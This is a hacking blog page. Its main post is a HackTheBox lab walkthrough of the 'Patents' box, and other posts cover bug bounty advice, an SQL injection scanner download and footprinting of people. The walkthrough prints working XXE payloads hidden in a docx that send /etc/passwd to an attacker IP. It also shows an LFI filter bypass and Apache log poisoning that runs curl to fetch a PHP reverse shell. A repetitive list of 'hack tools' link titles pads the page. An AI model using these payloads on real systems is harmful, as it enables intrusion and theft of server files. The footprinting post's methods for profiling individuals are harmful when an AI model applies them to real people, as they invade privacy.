Friday, 2 June 2023

XXE In Docx Files And LFI To RCE


In this article we are going to talk about XXE injection and we will also look at LFI in a little more advanced perspective. I will be performing both of these attacks on a HackTheBox machine called Patents which was a really hard machine. I am not going to show you how to solve the Patents machine rather I will show you how to perform the above mentioned attacks on the box.

XML External Entity Attack

Lets start with what an XXE injection means. OWASP has put XXE on number 4 of OWASP Top Ten 2017 and describes XXE in the following words: "An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts."
What that means is if you have an XML parser which is not properly configured to parse the input data you may end you getting yourself screwed. On the Patents box there is an upload form which lets us upload a word document (docx) and then parses it to convert it into a pdf document. You may be thinking but where is the XML document involved here. Well it turns out that the docx files are made up of multiple XML documents archived together. Read more about it in the article OpenXML in word processing – Custom XML part – mapping flat data. It turns out that the docx2pdf parser of the Patents machine is poorly configured to allow XXE injection attacks but to perform that attack we need to inject out XXE payload in the docx file. First lets upload a simple docx file to the server and see what happens.

After uploading the file we get a Download option to download the pdf file that was created from our docx file.

As can be seen, the functionality works as expected.

Now lets exploit it. What we have to do is that we have to inject our XXE payload in the docx file so that the poorly configured XML parser on the server parses our payload and allows us to exfil data from the server. To do that we will perform these steps.
  1. Extract the docx file.
  2. Embed our payload in the extracted files.
  3. Archive the file back in the docx format.
  4. Upload the file on the server.
To extract the docx file we will use the unzip Linux command line tool.
mkdir doc cd doc unzip ../sample.docx
Following the article mentioned above we see that we can embed custom XML to the docx file by creating a directory (folder) called customXml inside the extracted folder and add an item1.xml file which will contain our payload.
mkdir customXml cd customXml vim item1.xml
Lets grab an XXE payload from PayloadsAllTheThings GitHub repo and modify it a bit which looks like this:
<?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://10.10.14.56:8090/dtd.xml"> %sp; %param1; ]> <r>&exfil;</r>
Notice the IP address in the middle of the payload, this IP address points to my python server which I'm going to host on my machine shortly on port 8090. The contents of the dtd.xml file that is being accessed by the payload is:
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.10.14.56:8090/dtd.xml?%data;'>">
What this xml file is doing is that it is requesting the /etc/passwd file on the local server of the XML parser and then encoding the contents of /etc/passwd into base64 format (the encoding is done because that contents of the /etc/passwd file could be something that can break the request). Now lets zip the un-archived files back to the docx file using the zip linux command line tool.
zip -r sample.docx *
here -r means recursive and * means all files sample.docx is the output file.
Lets summarize the attack a bit before performing it. We created a docx file with an XXE payload, the payload will ping back to our server looking for a file named dtd.xml. dtd.xml file will be parsed by the XML parser on the server in the context of the server. Grabbing the /etc/passwd file from the server encoding it using base64 and then sends that base64 encoded data back to us in the request.
Now lets fire-up our simple http python server in the same directory we kept our dtd.xml file:
python -m SimpleHTTPServer 8090
and then upload the file to the server and see if it works.
We got a hit on our python server from the target server looking for the dtd.xml file and we can see a 200 OK besides the request.
Below the request for dtd.xml we can see another request which was made by the target server to our server and appended to the end of this request is the base64 encoded data. We grab everything coming after the ? of the request and copy it to a file say passwd.b64 and after that we use the base64 linux command line tool to decode the base64 data like this:
cat passwd.64 | base64 -d > passwd
looking at the contents of passwd file we can confirm that it is indeed the /etc/passwd file from the target server. Now we can exfiltrate other files as well from the server but remember we can only exfiltrate those files from the server to which the user running the web application has read permissions. To extract other files we simple have to change the dtd.xml file, we don't need to change our docx file. Change the dtd.xml file and then upload the sample.docx file to the server and get the contents of another file.

LFI to RCE

Now getting to the part two of the article which is LFI to RCE, the box is also vulnerable to LFI injection you can read about simple LFI in one of my previous article Learning Web Pentesting With DVWA Part 6: File Inclusion, in this article we are going a bit more advanced. The URL that is vulnerable to LFI on the machine is:
http://10.10.10.173/getPatent_alphav1.0.php

We can use the id parameter to view the uploaded patents like this:
http://10.10.10.173/getPatent_alphav1.0.php?id=1

The patents are basically local document files on the server, lets try to see if we can read other local files on the server using the id parameter. We try our LFI payloads and it doesn't seem to work.

Maybe its using a mechanism to prevent LFI attacks. After reading the source for getPatent_alphav1.0.php from previous vulnerability we can see it is flagging ../ in the request. To bypass that restriction we will use ..././, first two dots and the slash will be removed from ..././ and what will be left is ../, lets try it out:
http://10.10.10.173/getPatent_alphav1.0.php?id=..././..././..././..././..././..././..././etc/passwd

Wohoo! we got it but now what? To get an RCE we will check if we can access the apache access log file
http://10.10.10.173/getPatent_alphav1.0.php?id=..././..././..././..././..././..././..././var/log/apache2/access.log
As we can see we are able to access the apache access log file lets try to get an RCE via access logs. How this works is basically simple, the access.log file logs all the access requests to the apache server. We will include php code in our request to the server, this malicious request will be logged in the access.log file. Then using the LFI we will access the access.log file. As we access the access.log file via the LFI, the php code in our request will be executed and we will have an RCE. First lets grab a php reverse shell from pentest monkey's GitHub repo, modify the ip and port variables  to our own ip and port, and put it into the directory which our python server is hosting. I have renamed the file to shell.php for simplicity here.
Lets setup our reverse shell listener:
nc -lvnp 9999
and then perfrom a request to the target server with our php code like this:
curl "http://10.10.10.173/<?php system('curl\$\{IFS\}http://10.10.14.56:8090/shell.php');?>"
and lastly lets access the apache access.log file via the LFI on the target server:
http://10.10.10.173/getPatent_alphav1.0.php?id=..././..././..././..././..././..././..././var/log/apache2/access.log3
Boom! we have a shell.

That's it for today's article see you next time.

References

Continue reading
Posted by at No comments:

Thursday, 1 June 2023

How Do I Get Started With Bug Bounty ?

How do I get started with bug bounty hunting? How do I improve my skills?



These are some simple steps that every bug bounty hunter can use to get started and improve their skills:

Learn to make it; then break it!
A major chunk of the hacker's mindset consists of wanting to learn more. In order to really exploit issues and discover further potential vulnerabilities, hackers are encouraged to learn to build what they are targeting. By doing this, there is a greater likelihood that hacker will understand the component being targeted and where most issues appear. For example, when people ask me how to take over a sub-domain, I make sure they understand the Domain Name System (DNS) first and let them set up their own website to play around attempting to "claim" that domain.

Read books. Lots of books.
One way to get better is by reading fellow hunters' and hackers' write-ups. Follow /r/netsec and Twitter for fantastic write-ups ranging from a variety of security-related topics that will not only motivate you but help you improve. For a list of good books to read, please refer to "What books should I read?".

Join discussions and ask questions.
As you may be aware, the information security community is full of interesting discussions ranging from breaches to surveillance, and further. The bug bounty community consists of hunters, security analysts, and platform staff helping one and another get better at what they do. There are two very popular bug bounty forums: Bug Bounty Forum and Bug Bounty World.

Participate in open source projects; learn to code.
Go to https://github.com/explore or https://gitlab.com/explore/projects and pick a project to contribute to. By doing so you will improve your general coding and communication skills. On top of that, read https://learnpythonthehardway.org/ and https://linuxjourney.com/.

Help others. If you can teach it, you have mastered it.
Once you discover something new and believe others would benefit from learning about your discovery, publish a write-up about it. Not only will you help others, you will learn to really master the topic because you can actually explain it properly.

Smile when you get feedback and use it to your advantage.
The bug bounty community is full of people wanting to help others so do not be surprised if someone gives you some constructive feedback about your work. Learn from your mistakes and in doing so use it to your advantage. I have a little physical notebook where I keep track of the little things that I learnt during the day and the feedback that people gave me.


Learn to approach a target.
The first step when approaching a target is always going to be reconnaissance — preliminary gathering of information about the target. If the target is a web application, start by browsing around like a normal user and get to know the website's purpose. Then you can start enumerating endpoints such as sub-domains, ports and web paths.

A woodsman was once asked, "What would you do if you had just five minutes to chop down a tree?" He answered, "I would spend the first two and a half minutes sharpening my axe."
As you progress, you will start to notice patterns and find yourself refining your hunting methodology. You will probably also start automating a lot of the repetitive tasks.

More info


  1. Hacker Tools For Windows
  2. Hacker Tools For Ios
  3. Hacking Tools For Kali Linux
  4. Android Hack Tools Github
  5. Hacker Security Tools
  6. Pentest Tools For Ubuntu
  7. Best Hacking Tools 2019
  8. Hacker Tools For Ios
  9. Hacking Tools For Beginners
  10. Pentest Tools Open Source
  11. Pentest Tools For Ubuntu
  12. Nsa Hack Tools Download
  13. Hacker Tools Free Download
  14. Pentest Box Tools Download
  15. Hacking Tools For Windows
  16. Pentest Box Tools Download
  17. Free Pentest Tools For Windows
  18. Tools Used For Hacking
  19. What Are Hacking Tools
  20. Hack Tools Download
  21. Hacker Security Tools
  22. Hacking Tools Hardware
  23. Pentest Tools
  24. Hacker Tools Github
  25. Pentest Tools For Ubuntu
  26. Pentest Tools For Windows
  27. Pentest Tools Review
  28. Pentest Tools Free
  29. Hacker Tools Free Download
  30. Tools Used For Hacking
  31. Blackhat Hacker Tools
  32. Pentest Reporting Tools
  33. Underground Hacker Sites
  34. Hacker Hardware Tools
  35. Pentest Tools Apk
  36. Hack Tools For Mac
  37. Hack Tools
  38. Install Pentest Tools Ubuntu
  39. Pentest Tools For Windows
  40. Pentest Tools Subdomain
  41. Usb Pentest Tools
  42. Pentest Tools Apk
  43. Easy Hack Tools
  44. Pentest Tools Url Fuzzer
  45. Hacking Tools For Pc
  46. Underground Hacker Sites
  47. Hacker Tools Software
  48. Pentest Reporting Tools
  49. Pentest Tools Windows
  50. Hack Tools Mac
  51. How To Make Hacking Tools
  52. Pentest Tools Free
  53. Pentest Tools Framework
  54. Physical Pentest Tools
  55. Pentest Automation Tools
  56. Hacker Tools For Ios
  57. Hacker Tools Apk
  58. Nsa Hacker Tools
  59. Pentest Automation Tools
  60. Hacking Tools Pc
  61. Pentest Tools Review
  62. Hacking Tools For Windows Free Download
  63. Hacking Tools Windows
  64. Android Hack Tools Github
  65. Hack Tools For Mac
  66. Pentest Tools Alternative
  67. Hacking Tools Online
  68. Github Hacking Tools
  69. Pentest Tools Alternative
  70. Android Hack Tools Github
  71. Install Pentest Tools Ubuntu
  72. Hack Tools Online
  73. Hacking Tools Online
  74. Hacker Security Tools
  75. World No 1 Hacker Software
  76. Hacker Tools List
  77. Hacking Tools Free Download
  78. What Are Hacking Tools
  79. Hacker Tools Free
  80. Bluetooth Hacking Tools Kali
  81. Tools For Hacker
  82. Pentest Tools Apk
  83. Wifi Hacker Tools For Windows
  84. Hack Website Online Tool
  85. Hacker Tools For Mac
  86. Pentest Automation Tools
  87. Pentest Tools Online
  88. Pentest Tools List
  89. Hack Tools Online
  90. Pentest Tools List
  91. Best Hacking Tools 2019
  92. Android Hack Tools Github
  93. Hacking Tools Mac
  94. Ethical Hacker Tools
  95. Hacker Tools Hardware
  96. Hack App
  97. Hacker Techniques Tools And Incident Handling
  98. Computer Hacker
  99. Hacker Tools 2020
  100. Game Hacking
  101. What Is Hacking Tools
  102. Hacker Tools List
  103. Pentest Tools
  104. Hack And Tools
  105. Hacking Tools For Windows Free Download
  106. Hack Tools Mac
  107. Hacker Tools Hardware
  108. Kik Hack Tools
  109. Hacking Tools Online
  110. Hacker Hardware Tools
  111. Hack Tools Download
  112. Hacking Tools For Pc
  113. Ethical Hacker Tools
  114. Easy Hack Tools
  115. Hacks And Tools
  116. Hacker Tools 2020
  117. How To Hack
  118. Android Hack Tools Github
  119. Pentest Tools Online
  120. Hacking Tools Hardware
  121. Tools Used For Hacking
  122. Hacking Tools Name
  123. Beginner Hacker Tools
  124. Pentest Tools Download
  125. Pentest Tools Apk
  126. Pentest Tools Website Vulnerability
  127. Kik Hack Tools
  128. Hack Tools For Pc
  129. Hacking Tools Name
  130. Hack Tools Pc
  131. Best Hacking Tools 2019
Posted by at No comments:

DOWNLOAD SQLI HUNTER V1.2 – SQL INJECTION TOOL

SQLi hunter is a tool to scan for an SQLi Injection vulnerability in a website on auto-pilot. It automates the search of SQLi vulnerable links from Google using different dorks. SQLi hunter can also find admin panel page of any website by using some predefined admin page lists. Download SQLi hunter v1.2.

FEATURES

– Supports 500 results
– Url List can be Imported / Exported
– The setting for connection timeout
– Proxy Settings
If you're not totally satisfied with this tool, you can try other sql injection tools like havij , sqli dumper and sqlmap. These tools are incredibly super flexible with their advanced injection features.

DOWNLOAD SQLI HUNTER V1.2

Related news

Posted by at No comments:

FOOTPRITING AND INFORMATION GATHERING USED IN HACKING

WHAT IS FOOTPRITING AND INFORMATION GATHERING IN HACKING?

 Footpriting is the technique used for gathering information about computer systems and the entities they belongs too. 
To get this information, a hacker might use various tools and technologies.

Basically it is the first step where hacker gather as much information as possible to find the way for cracking the whole system or target or atleast decide what types of attacks will be more suitable for the target.

 Footpriting can be both passive and active.

 Reviewing a company's website is an example of passive footprinting, 
whereas attempting to gain access to sensititve information through social engineering is an example of active information gathering.

 During this phase hacking, a hacker can collect the following information>- Domain name
-IP Addresses
-Namespaces
-Employee information 
-Phone numbers
-E-mails 
Job information

 Tip-You can use http://www.whois.com/ website to get detailed information about a domain name information including its owner,its registrar, date of registration, expiry, name servers owner's contact information etc.

 Use of  Footprinting & Information Gathering in People Searching-
Now a days its very easy to find anyone with his/her full name in social media sites like Facebook, Instragram,Twitter,Linkdedin to gather information about date of birth,birthplace, real photos, education detail, hobbies, relationship status etc.

 There are several sites like PIPL,PeekYou, Transport Sites such as mptransport,uptransport etc and Job placement Sites such as Shine.com,Naukari.com , Monster.com etc which are very useful for hacker to collect information about anyone.  
Hacker collect the information about you from your Resume which you uploaded on job placement site for seeking a job as well as  hacker collect the information from your vehicle number also from transport sites to know about the owner of vehicle, adderess etc then after they make plan how to attack on victim to earn money after know about him/her from collecting information.


INFORMATION GATHERING-It is the process of collecting the information from different places about any individual company,organization, server, ip address or person.
Most of the hacker spend his time in this process.

Information gathering plays a vital role for both investigating and attacking purposes.This is one of the best way to collect victim data and find the vulnerability and loopholes to get unauthorized modifications,deletion and unauthorized access.



Related news
Posted by at No comments:
Subscribe to: Posts (Atom)